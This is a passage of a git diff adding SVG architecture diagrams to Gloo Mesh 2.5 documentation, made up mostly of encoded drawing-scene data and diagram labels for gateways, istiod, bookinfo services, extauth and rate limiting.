6f50NrCRJl2XG7mlVwih+6hIGBcdTAwMDTh8J5cdTAwMTlzwjWmq1xyPmB5SHOBTlx1MDAwMUnPgKRJwFBcdTAwMDLB02SmK4KWjlx0XHUwMDE42NRaXGKpYOmKr86f91x1MDAxNY30ZuyzxWikRKbwSFx1MDAxMlx1MDAwMtvlXHUwMDE4XCLFXHUwMDE2kVhcdTAwMTDEldlQSveScPadXHUwMDAzol1PvblCq1x1MDAwN35O71x1MDAxZvvPzYWexK7FRKZgQG00XCLaXHUwMDFidFx1MDAwN1PowSe4qZyjWHNcIileSrXFSClcdTAwMGLPmiwoaVpYXHUwMDFjKOtcZsFcdTAwMDGYhVx1MDAxN6VcdTAwMDQhgZ1cbtCxXHUwMDA1YFx1MDAwNVx1MDAxONWMgtXCZKIviz2KTKuD9e3z/0yp51vEmNZcdTAwMTBam1x1MDAwMbGYSDM+ykHCwGdcdTAwMTBcdTAwMDFcdTAwMDVCjbPe7Ol2Yi/yXHUwMDE2v5q0r+nF+U1cIsLapfbF6OPceU2wO9J0++FcdTAwMDJraZr0rixKWkxypkCzUWz86sc9M9b9yJsrtHra9ybzXHUwMDE0ci9cdTAwMTczaadYblAs5lx1MDAxObpcZqbIU1x1MDAxYWuLamJyfUz65VKeLVx1MDAxY0SLXCKTXHUwMDA2JEBcdTAwMTVpj4GRO+E8Zpn4jzTzlEynNqfKXHUwMDAyy+TAIYIlZaDlOV8tXHUwMDE3U5ibqWn4Ly0t8IyTLIIqjExcdTAwMTYhUZxQRVx1MDAxOUW25kTzxDPJXHUwMDExkkKaPitcdTAwMDKzLWXeiMSKXHUwMDE38cjk9qP6Mqm1U5lQLD92g3og7+BcdEpqilx1MDAxZVx1MDAwNCWrybbCYqB2QVx1MDAxNCj4XHSfPfLEM9djP3t39cTvXHUwMDBm6CHXXHUwMDA2+KaPXHUwMDEzMt00/Fx1MDAwMz3PxIpgSj3TodXSpnqQXHUwMDE500HOt+OXdYstOP2YazPJU5JcdTAwMDNJvX1Yt8RcdTAwMWNcdTAwMTJcdTAwMGXnZF3V+F8u9UDoaaQ5ZcqMYNXMQeRhS1xuTYA5TEWP3FLgbVDvgM38T2Q8LFx1MDAxY1x1MDAxMURW82y1XHUwMDA1x8LMaDHlpFx1MDAxYeHV+q6TZXtmXHUwMDEzeJ6BfM1cXCuqMMZcZnA0XHUwMDEy/oWe9yTkoPrjQZ6ZroTAXHTmVS22XHUwMDA2XHUwMDAw1rBAXHUwMDE1YcLMiGIhPFx1MDAwNsP5aNrrJvRA5FrEdjGnlu5EWNp+2apcdTAwMWR+YT1YvuCmKOdgUm+X0H453acvuetopla51uLu4SnBXHUwMDEyqT1cdTAwMDRcdTAwMWO959F70l35yt85sU5cdTAwMTCPXHUwMDAxPCBcdTAwMTGJ3KSR/ORCR1JXXHLNQ7SHy+dtnOx1t1x1MDAwMiDLRTVcdTAwMDfkRIE9XHUwMDEy36lcdTAwMTI+OdFHSfd/laqsVCmtcuJ2STWz3lVcdTAwMThcdTAwMWawumdcdTAwMTfGu2ok090nWlx1MDAxZFVK1Vxc/jVcdTAwMTeKPIZcdTAwMWGnnJp95dRcdTAwMWNoe09kj4jsuvRcZudcdTAwMWJ+n1wickvPXHUwMDEw1LXVrkTGRkDYv+fPe5eDXG5cdTAwMDfB8vVQQoBcdTAwMTWJLyW0nLV5qLxsLk3lt147qOFvSM9cdTAwMDAjdFx1MDAwMIs++7dTg3VMitOvzczwRlxcy5lcdTAwMTm/XHUwMDE3+3upO1x1MDAwMEfpyrRcXMA55WKDnKqH2zv0Nia10ZC+1Fg5xm5Do9vA40bqzrJMkcDiRuOlkkKhXHUwMDAzNv7ZXHUwMDA1OMZcdTAwMWVe767yxexUkWxcZn9cZlvk/PbpXHUwMDA0XHUwMDFj91x1MDAwNVx1MDAxY1x1MDAwZrS9XHUwMDA3XCKLnzplUX4qlJrVbFx1MDAxOJ1H0lx1MDAxN2hy+9ftwl9Odlx1MDAxZM51vmHwcK5ErlnIxrtMpSTKv6/Fe5tcdTAwMDNcdTAwMGJ0sfLSmipYQFdcYqY00Vx1MDAwN4xjXHUwMDFmXHUwMDBmzq1cdTAwMTaHo0l1OPomoLtcdTAwMDZcIi5cdTAwMDPdz9XujnTto0SWzVPOXHUwMDE1XHUwMDE3dt/3Oq5cdTAwMWS+XFxFct3wqJOqxz4keipFxu1x4LlWMWpxJSnC3FxmPlqOVmhLcUJM7jEznUw9Olx1MDAxOX97uMK0WpZUXHUwMDA0XHUwMDE0+1x1MDAxZSpacSm7XHUwMDE5mb/qtFxuzVQhxIcvr6Bp9kB3mH3Kylx1MDAxOGmf11wi7DpcdTAwMTMqf7x9NPNHXHUwMDE4XHUwMDA1kcp1wjTBZpAsXHUwMDE2/lk8nOj3zl/V22tnXFzWjY/Ic/a88Fx1MDAxZXBjVlx0bs36f1x1MDAwYmReXHUwMDE3y4OoIH5cdTAwMTncjzVLiCpVnZJtt7Jm4emAsY11UOOPV9etyuT6vjItyEmzzHnhfVx1MDAxOD1Zs/uyZlx1MDAwZrS9J7InsuusTudcdTAwMWJ+n4JztTq1a4TfjMLRRIlcclJcZr23ObD4VVwiXHUwMDBm9aaQRf2pt4OYncQhp8ZcZuRg/FT+aiy591HxXHJ2z8nYtMVcdTAwMDU3MzZHXduXX7I01+C3XHUwMDE1S/PX+rZHn1x1MDAwMF/cOFx1MDAxNFx1MDAxM8VcYjXDWXxz6F3rKff6npt2XHUwMDBi7cbt28fL02sj0Vx1MDAwYjz8XHUwMDE0lnDzXG5xxIJcdTAwMGI/MSZambKfYHa2icRGXHUwMDE1+dF+K99kVL7w+IKzXHUwMDFmXHUwMDE3p2DK3uDngbb3RPZE9kBk16Fa51x1MDAxYlx1MDAwNlx1MDAwZtXax1Aso1opNSbUfyTFe5ODi2mxh84kZFx1MDAxMdN+N6RcdTAwMDVTQyAzRORcdTAwMDRp4enD3c/ajdfGyKWPy9a4dk1cdTAwMTBlXHI2XFyGtlx1MDAwYuvcXHUwMDFl30rPzqtcdTAwMTgjzDZI8It10q+XmXGzk+2/TSevkfR9M91cdTAwMGY8vmXu9iejXHUwMDAxxrdUXHUwMDEzU5VKXHUwMDBmV9O2XHUwMDBivM22o+Ob89f7TjiVa1x1MDAwZVx1MDAxMX7Gxdb1XHTe7lx1MDAwYt5cdTAwMWVoe09kT2SPi+w61Ox8w1x1MDAwMKJm4Vx1MDAxZeckyFxmetX+45zeu1x1MDAxY1jYLLSHKuYkYK5ghVx1MDAxOGL0XHUwMDFia7xcdTAwMDKEmquVxvBL4fJcdTAwMWGouVx1MDAwMpdnXHUwMDBi3IoxhXRlTCooXHUwMDEyXGIx/4zZXHUwMDFhTp5f47WbePtqWH5+SbyP4mK//b5cdTAwMGUxWVx1MDAxN1Cw5KZcdTAwMTBcdTAwMWZkkKBLzW9cdTAwMDSxOMNEXG5FTVx1MDAxM8HdMozcXHUwMDEwMqFcdTAwMGXtveRKd1x1MDAxYqGFpKYz2cF4cl2bXHUwMDA3L91cdTAwMTeslFx1MDAxY0eOV1x1MDAwYr/14Phau9tccr1Wh/VQsVLpdob/djpF+Cecq6qjXHUwMDFjXHUwMDEw2+ZcdTAwMWV6hINcdTAwMTa+3DLHey3QU1x1MDAwZbhP2bZcdTAwMDdjV7pgIWZ6UNBcctJccj1PQ0BFXHUwMDAxxqCFKbzC/1x1MDAwNOKLXHUwMDFkYYhcdTAwMTlhosyQZdOwR9inuuxTXHUwMDE2wM0tTlx1MDAwMFx1MDAwMVBCOLH1optLXHUwMDA2LSzEQCppTVx1MDAxOTcrWVx1MDAxNlx1MDAxNECDXHUwMDBiTeThXFxeQe5cdTAwMDfjrYXOllx1MDAwNlx1MDAxZFLCXHUwMDE0vCoj47G09Zz71YCFW4JqbXqKcfhcdTAwMWNXW1x1MDAwZdj2Tr9dXFxcdTAwMTSD/cFm/DNcdTAwMDV9hFx1MDAxZGYvUktcdTAwMTBuJmxcdTAwMWFcdTAwMGZcdOJcdTAwMGVDv4+qXHUwMDA3luuRN9fKYZ+T+8f+c3OBR7FrIaEgptegUFx1MDAxYsi74qNO4XYj88JS6YtcdTAwMDdBU7d0K+fgl0JcdTAwMWZcIi0kKOBcbmHGly9cIlx1MDAxZjBSLGBcdTAwMGXDrFx1MDAxY2xcdTAwMTZcdTAwMGZPvp+xLm7ijlOLaFxuzMWB+Si3XHUwMDA1T+Z9TrGwmOkwbTpcdTAwMTJzQVx1MDAxZMRcdTAwMWRHRFx0pv7s7s7LXGa6XuhEc6r/eDOuVd7jsU4ujOQ1fZBOQlx1MDAwN8GTNq0uJTI9UFx1MDAxOeKrQocoS2t4VCCVQP0htZ9cdTAwMWXL3yd0XFxcdTAwMGbe7N2VM7eh1Nm2rlx1MDAwM85cZlx1MDAxNaazvP+Zr6Np5HFUmY5K/PYpcnfbrNJG5THYkkdcdOHVdUCByJeMcUVcdTAwMTjIe+3Reu9cdTAwMWJcdTAwMDZKKWamc1x1MDAxM1x1MDAxYcy0m0TmRjxcdTAwMTBcdTAwMWOj8uq5XHUwMDE0XHUwMDBmhdJcdDJ4dDbCTnGJzelcdTAwMWVoe4+L7KGms1x1MDAxZdcu/OVk11x1MDAwNSacbzgnu1wiXGK/azgrcy+NNiZcdTAwMTbFXHUwMDFiXGZ58d7lgFx1MDAwNiZAXHUwMDE5e/ShY1xibLO9KeO95KgjXHUwMDA25rik6pTQc/aj01x1MDAxZIVcdTAwMWGdmSfwS1x1MDAwM1x1MDAxNGtA57K70r7M7XGzkK6zSTCXXFwqzqT/5LtcdTAwMTS/49F4iPVSN/3HxChauHp+cEu+XHUwMDBiSDrPXGY3I9dcdTAwMTiiQlx1MDAxNsdKI1wiNGaMuVx1MDAxYux+snn2XGabhXGccnHAUSS7wGZaKmSer6O1aa9Zy4nrKFx1MDAxZj+lartr3Vx1MDAwM5E9XHUwMDE0XHUwMDFhn+ZSw2Eve59sdVx1MDAxMipbv+holFx1MDAxYe2BLlx1MDAxOelcdTAwMTBo0kw6X+TZ+vvHU3mMXFzAx0Z0j+upnchcdTAwMWVcdTAwMWTZ1uQq85FCKpctPLbD7YvGQ75xvtPBXVx1MDAwN5udv0jwYLNQrqpYSYRcdTAwMThcdTAwMTPMvyb2fnpBhs3uulgrXHUwMDBi7UtcdTAwMTfvXHUwMDA1NZu4JkaUnzpcbplmlF+PmNfAzdV+mT7QsmvlNXZN6sGScjivfIN0O/3cLqGXSKHw8vpcXFx1MDAxY0xvYs1wMuhcdTAwMGVmRYXFOSXCXGZ1IHhphlx1MDAxZteWUFxmWEJcdTAwMDPfYkmkK3fuXHUwMDE0yWdcdTAwMGXQeDWrx1x1MDAwNNqoNuWcXHUwMDA348xd0npCqYjMtFx1MDAxMMlcdTAwMGYr4VYpjqJveFx1MDAxYz7StJ76aNQrNTqBy+ZxWJcn33sk8dhaZC1zvtZcdTAwMWPDfiP/itn72Vx1MDAwN5TzhbS0XHSjIVx1MDAwNtaymLPgLIeHzmLamDCmTfRbXHUwMDFliPORtpggWlx1MDAxMDqbzGRcdTAwMTMwn4JAKUubiZLEZFx1MDAxZHK9msTDXHUwMDExPC16SDdXXHUwMDEwgtpuoWtvpXO2lMQjMEHEjPHCJjpt+9RqXHUwMDBlj3FcdTAwMWZumcMzqsdfJ+fviWl0Ulx1MDAxODSHrfD46lx1MDAxYbmsSVx1MDAxMIDIUnBcdTAwMDZKhpP5UN3PNVx1MDAxMWRcdTAwMTFthqyBhpJcXEi+sqajXG6nu1x1MDAxZnlzrVx1MDAxY/Y5vX/sPzdcdTAwMTZ4jLonLVJcckCHolxyklx1MDAxNu/H4Zfn7Pjl8VrddV9zo0QmS906WFx1MDAwNMZcdTAwMTDRTGtLXHUwMDEzXHUwMDEwdWz2umiIYMo//fdgmNlcdTAwMDdcdTAwMWFsUVjg2lx1MDAxMFxcWtJ2KeIwx1x1MDAwZc+X/dnCXHUwMDAyYa2kOmAsPVxiXCLOPW9nkdhcdTAwMTGxu+vjNlx1MDAxN8iCXHLZ282OYe6t/qVcdTAwMDKMzyX3nyfzTC9cdTAwMTKRcL7Larc8m27ddXjk9j7wzI05t5TgSGpqXlx1MDAxN1xyXHUwMDE5xYhcdTAwMDVcdTAwMTJcdTAwMGVhqtBsLLU7mvGRKOPa7N9cdTAwMDG92MOAv+qFXHUwMDE0k4TLP1xyrmzlX1x1MDAxOGNHu8Jmhn6NXVx1MDAwMevYiu+4+2xYxVx1MDAxNZKISv9B8WarXHUwMDEzq5Grh0FqUH8qNy9DbZz4XGI831x1MDAxMcksoZXJw4ZXJFb4zq5UPcYk7sB3xKnP8Fxu32FJXHUwMDE1g1WIP2z463aMR1x1MDAwMsJ4ZFvGczffqZZgSWziV8fvyXa0NSi9V3qDZDdcdTAwMWa5eWbFZNA5z1x1MDAxNOQhS1GXnt+G9fz1lzm8ysPwuFxi41R8X9755z1cdTAwMWM8dy+83ynf8l64NUbRWD+aT97EcsHy3P09XHUwMDFhlXr45agpXdhAo3Ki+GX+9VpcdTAwMTbfSbZ/U+2PXHUwMDEz0Urw+Vx1MDAxYTNtXHTpYqdcdTAwMWG+llpcYlNpaNxcInppYV+qUlx1MDAwNSNcXJvW5CeVevwqVbgmeGIpMVZYXHUwMDEz/yr1qdKPd1x1MDAxOL3vXV+m5TnisvWSRsfBemArw/Eh5nUxxVNh9lx1MDAxNaznUMi6ynqcmUJ7fcAo9Vx1MDAxMXFcdTAwMWVcclxi59FcdTAwMWRyNjVFruyHXHUwMDEx1VxiceXfh3NcdTAwMWKuXHUwMDE1i2l6cTdcdTAwMTJcdTAwMTE2vVx1MDAxZFxcf9zGXHUwMDAzXmWpQMBY8+xqsVhUjonmXHUwMDE2k8B2gHaxXHUwMDE0ZDc8u+ekTVx1MDAwNlx1MDAwZshU5Vx1MDAwNjNps/hWeFx1MDAxONSGVzozfm5HK91+k3Rd6lCCkF15bLVOXHUwMDA32t7jXCJ7qFqn49qFXHUwMDEz2UOQXZdcdTAwMGLqfMM52Vx1MDAxNfn6TbmgXHUwMDE4XHUwMDExV1x1MDAxZK8kJYph4Vx1MDAxZmF7b3NAXHUwMDExtlKEeSh5ioml96Xk91NDZVxc+IKhU3u3WVi1UylcdTAwMGUqZ3fdijPiPlBK6Fx1MDAxYTS7jMNcdTAwMTfWuT1cIpfcvSkyZZRrTpD/psiF3H36/rL+/lx1MDAxNjvniYnMppuZh5ttXHUwMDEw+Vx1MDAxN1ZRwVx0s1x1MDAwZmtcXO57orCFNeVgmFxigZhyXHUwMDBmqn59XHUwMDE5ldSacYFcdTAwMDNcbshfm5VBro6rsVx1MDAwMSpmI73r93Lm/WN3xXsgsqcqqmN8aieyJ7LrgLPzXHKDXHUwMDA3nKV2dU1zavxiaoNgr/cuXHUwMDA3XHUwMDE3N1x1MDAxMy9VrJUl9qWK9zJMRHBcIsghO7BcdTAwMWVcdTAwMGZsXHUwMDA2XHUwMDE0ejZpjOpnV51x13kk+6GA81x1MDAxYdC5XGacl1a6PXRW3DXbXHUwMDE4jDut9CbJxr278DT8eJHp5/p98lx1MDAxYWNDkuhmXHUwMDAy78tcdTAwMTbWL1x1MDAxYte8skV2ZUJbXHUwMDEyzlwiZYxKJuVuaVH7XHUwMDFll2fsXdNgMpDQmeJW7zxay6WzoXG2eNlcdTAwMTg+p9FpnsjefNlcdTAwMDfa3lx1MDAwM5F90mlccsr/odnKJ1x1MDAwNjU1uXzrT5p72IVkXHUwMDAzhV5lPffYfLy9XHUwMDFmi3ZIVOvtPdB9QGVZK6LBXHJ+XHUwMDFhPVx1MDAxNiOXKIL7nT3QvWe3oeGkVuom79qJZOi18JIliT3Q/WiEea5cdTAwMTLTRZLJKDaMdVx1MDAwYumHy7/ulP3lZNd2YnC84Zzsikb4rlx1MDAwNmbIPcCukWmqrLX/XHUwMDAwu/c2XHUwMDA314rAXrBESYv4giVfNFpFmlx1MDAwNvOanHzvZz9cIu1u9yxZXHUwMDFk1r/c+b5cdTAwMDZ+L9tcdTAwMTCLXHUwMDBi9eRUb1x1MDAxM0K4et+l1sRcdTAwMTRJ+ne+P1x1MDAxNIvR1sPjXbjVKCQ+8lx1MDAxNTmYJtxcdTAwMTJBj8OE4FxcWZRcbjN6xkyF4lx1MDAxZfXZu6R3bzeRXHUwMDEwc1MyLr6vg4qXgnx7ZoMyfVx1MDAxM8/pXHUwMDA0L1xmrvNj9fRQ2V3vniyIg27vcZE9VDbMce3CX052XHUwMDFkcHa+YVx1MDAwMIGze9aKxkhxpZX/klxm710+TtzMJbeUL138RbiZSipcdNf45H0/+1x1MDAxMVx1MDAxYo5cdTAwMWHdL1x1MDAwN81rXHUwMDAw5zJoni9yK1x1MDAwZVXatY1cdTAwMTlYc4ovVJuv49B+j7xcdTAwMTVHN7VcdTAwMWFl753Xh5dmLZ9NXHUwMDA1n0NcdTAwMTmyyCeDyuXkcUp8xsd2zSuztYv7ZFC6WjhFXHUwMDA0UkjY5yZcdTAwMDVcdFwiN5qPz/FcdTAwMGKaXHUwMDFj11x1MDAwYvH4MN3IVSdcdTAwMWY+/Z9cdTAwMDdQWo7877uVWaJaq3acmd9cdTAwMTbi+JpcdTAwMDKRX2vZTlx1MDAwYkv3bDTFXHUwMDE4aFx1MDAxZbqB++riLta9XHUwMDFmJvP0OTZ4KEyS15VK5yHoTK4lsDFFnFFMJLdHqGYty7T12YbA+I3ITlE1TyaXXHUwMDBlVc+rTC5hlSCLvjFcdTAwMDbuxeO1WjXe7tbUeyf9UIhHUIhccoqFI+XxcLux8Jy+k8d/rcWTx93bXHUwMDEyMuHeuVx1MDAxZkkz7ZBz/5Fz72dcdTAwMWNIt5eWWFnIaHDCkGR4XHUwMDExajNpSa2FRphcIkK0PlDgnJi2TUJqjjEmWFx0h1l70jJcco2BuZXGIJb0KvczJFx1MDAxMD1kXHUwMDFm/yC07HLrXHUwMDAw6K1fzuxcdTAwMDP1MFx1MDAwNyykuTRAlSAubEMtf4/xZFx1MDAxNlx1MDAxMURQ07JSgcWpVyfq/Vx1MDAxOd3CQu4nz1xcK2duTu9cdTAwMWb7zy397e7zfYBcdTAwMTG1XHUwMDAy29O/mV/OReLssYMvp+eT6Vx1MDAxNX+/yMtQOuCSXHUwMDA3XHUwMDBibdH5tdxcdTAwMWVQMFx1MDAwYpteKlxmXHUwMDA0XHUwMDEwx2w5XHL/W+tPqTJz11kwU3au81x1MDAxM31dIFx1MDAxZpWHUHFcdTAwMTB/XHUwMDFmXGKUyyedkcbJ4b453Vx1MDAwM23viexcdTAwMDH9+IdK2Dmu3f3Lya6LXHUwMDBmON9wTnZFbn9bWStzXHJcdTAwMTCYbFx1MDAxMkrsfb3XIVx1MDAwN+9tXHUwMDBlqmdcdTAwMDK22lx1MDAwYjsobIl9YYd9XHUwMDA0XGJcdTAwMThAbXXQlunHXHUwMDEzILipTsvtbrH1pfGBNfh42anwucatXHUwMDE4VCnX7sCYajN3x1x1MDAxZbNaXHUwMDFiwcuV+5NcdTAwMTd880xeUlx1MDAxMXbdKsdKmaugM6jiXFxbkpn/XHUwMDEwxolYdFx1MDAxZFx1MDAwMkdalFGMXHUwMDA1mKFaUnf+XHUwMDA0k4xcdTAwMTW9h1x1MDAxZHjyJ3FcdTAwMWF1suo6XHUwMDA0i0toiexcdTAwMWXdP45BN1x1MDAxZEZyNulcdTAwMGVa7rNIvtzRt7osT+Z09flcdTAwMTHM3dmTa1xyykNp/5Z3uJIuXGZeXHUwMDEy/Vx1MDAxZYsnesnktEWHz8KFPVx1MDAwM2J5KyGwpZFcdTAwMTlWqyiiarF3N0FcYphcdTAwMTMwXHUwMDA0XGIpqTTaiTldfX6Cm75voKm1olx1MDAxMjPt0P9cdTAwMTAjalx1MDAxMfiE4pLCnThSy2yLXHUwMDA1XHUwMDAxXHIv/7BuiL679Ls5XHUwMDAz5ViJ6XP9qaszmVx1MDAwMk4gXulG0zbEa3NcdTAwMDaCOlx1MDAxMlx1MDAxOGupiMlBnlx1MDAwZqU5+/RcdTAwMDViSynYYlx1MDAwMkBKKONcYv71ibkv8Jg8fq7Hzlxcq1x1MDAwN25O7lx1MDAxZvvPjWVcdTAwMGX1mFx1MDAwNlwiiaAm1OBf5HhPf9xcYlx1MDAxMXxdc1x1MDAwYs007L1rxlx1MDAwMOZ2xI7kTtO83aeBIGXPK5JcdTAwMGWtXHUwMDFmObYvU/HVTpBcdTAwMTIjjCX6s6WOm2wphd+b4WhHXHJT7bvMoHQrwv1W0Um2mPFHXHUwMDFjIcZcdTAwMDVsXHUwMDE1kUwjRVeHXHJpizCjhIgy/UNcdTAwMTT5PX/HJdLgtirvXHUwMDE5hlx1MDAwYlx1MDAxMo8ppk3xXHTiJnuMqZUlSYtcdTAwMGKtMZUm3VuCXHUwMDBlPGqBXHUwMDE3wmzhXHUwMDBmiMS2flDwupZcdTAwMDDRSzxD7fTA9rZs1MDKXUuQambZVkDlwkSmXHUwMDE1/ltLz5WpzVx1MDAwNVaG2/f1JdJdnTBcdTAwMTi7R45cdTAwMTWcZ1CqXHUwMDFiRI7Lsft0WmSvLrrhq6ZcdTAwMTT1y1x1MDAwNmPdwFx1MDAxYnlgw9lzQFx1MDAxNmPHXHUwMDAycVx1MDAwYtC0yYWDI1x1MDAwNIbgLlx1MDAxMt3bXHTjz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/platform/2-5/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xuJoXHV41cdTAwMThcdKolwohcdTAwMWRPKo+kXHUwMDFijyM9gkhP6YFbQShHNLhcdTAwMGUrZuIvuFx1MDAxY1x1MDAxZlxcxTNyVGav6Vx1MDAxOGpHQy89XFxhS8LGY5qYZ7EsPZhri1x1MDAwNpKe+cNXesbDYnfUL1x1MDAwZWErOSVIabksXHUwMDFkTlx1MDAwMYJdYFx024M75EdcdTAwMTHNmFwi4ojys4tW61x1MDAxMppJNF6uXHUwMDE5zVx1MDAwZj9VmcVnxYvLPWi12sPDR7T1ki508r3k9KYxi0bTtTDLJVx1MDAxM8RTLsHGXHUwMDExSmJNg8slXHUwMDFiJoap0qTWyj70XHUwMDFh6OJGosdk2OVSXHQqQyGXiq6XS7wqiUwyLsHOXHUwMDBiMb38anOJe6tcdTAwMWHCXHUwMDE4LFx1MDAxN+zpwFt6XHUwMDFjf613O93P0uPb+On1Jnk7eVLt0G9pXHKblnuaS1x1MDAwNLOTIWpcdTAwMThYXHUwMDFhwYiS4+3vP4qocW9cdTAwMDcgVohrjvVcdTAwMDZcbuEy3Vx1MDAxZnfz5JO0p7J6XHUwMDE3zbTlZeb866RcdTAwMDdtJz1Czlx1MDAxNVx1MDAwMsOIXHUwMDAw/KNcdTAwMTUzhyNsXHRYXHUwMDBiXG5YQrDNrt+rs0FcbrYkXHUwMDFh1Ck91KZcIn6JXHUwMDBisDKNtCAh5mVfzXBs6Oew26VxnenghkctMcnd5Gtvpeig2468PyRu0X3onWdcdTAwMWFcZixcdTAwMWaCw4lcbkhwdtBcdTAwMDZcdTAwMTKhdeRcdTAwMDZg3on+SiuCjspu/iz09+FOSkmw91Rw6nTVKL7MxJ1s6MRLXCLXuojjXHUwMDFhR+FcdTAwMTdcdTAwMTaGfIRFXGJcdTAwMDLCglxiZZhpMFxyXHUwMDBlJSwuXFxcdPhcdTAwMTSyP6hDWjghSDN8qlx1MDAwNz6DWV5cdTAwMTfubtPnvbuXXCKKpj8liYXbeNbeh6VcdTAwMWHBXHUwMDA1JVxuTpV6XHUwMDE5rD+atzeX6VFvkG10su2rXHUwMDA3L0NjZdcvy8rqkeQh/cFcXPjIink1kJmhXHUwMDA0qeqyv6yUqqxUKblcdTAwMTAl4ElcdTAwMWVi8Vt0uJMnYSY16JZTNStcdTAwMWXJ3Vus/5BcdTAwMWFWWadK7rvN18vMvbuojKuf46DuKzlulEbVmVwiVy+N9kvnLVJ9oWxcdTAwMGZusfPXbFx1MDAxY2fY1aRXyuC7l7FOpz5cdTAwMDNcdTAwMWX2+I5b/iglZaJcdTAwMWJr5lx1MDAxYfRBpaa5Zvy8tIdxXHUwMDBmtLynMuzSu/9cdTAwMTP0glx1MDAwMWd7fX7zWqmTXHUwMDFiKbPpTPRmeH77xO6OjPJLX3RcdOC9T95cdTAwMTFcdTAwMTVcdTAwMTRcdTAwMTEpg5/5+d+nsPIhXCL8Ti3InFx1MDAwZlx1MDAwNcD4t/lje+8o5lx1MDAwYr32XHUwMDFi2JnN+P5cdTAwMDHsXHUwMDFhWFx1MDAxOZFMLb5E6HB9q+272CW97vihMavOXHUwMDE54dJfL4qdRnu6dKPn+1x1MDAxYabU6NaGMLuzf7o1uOCkOLXfh1FcdTAwMTWuY8Zjy1x1MDAxZoy2XHUwMDFite5cdTAwMWNlYebV4ZJ8jFx1MDAxYuVi+/dcdTAwMWI6jUrFzpDKMJtcIow5vFxmwmx6w0at0S22cyuT/TXV7flcdTAwMTmnnvyMIMok3Yig6dlnKjV+LrNYPlp7zFx1MDAwYlx1MDAxMbnGXHUwMDE3oSdozEd4KSdhJWhcdTAwMWE+xpBgJ2r4x4r319ep1n3zY9zq527eZt1oK/nNz/bFz1x1MDAwZbS8X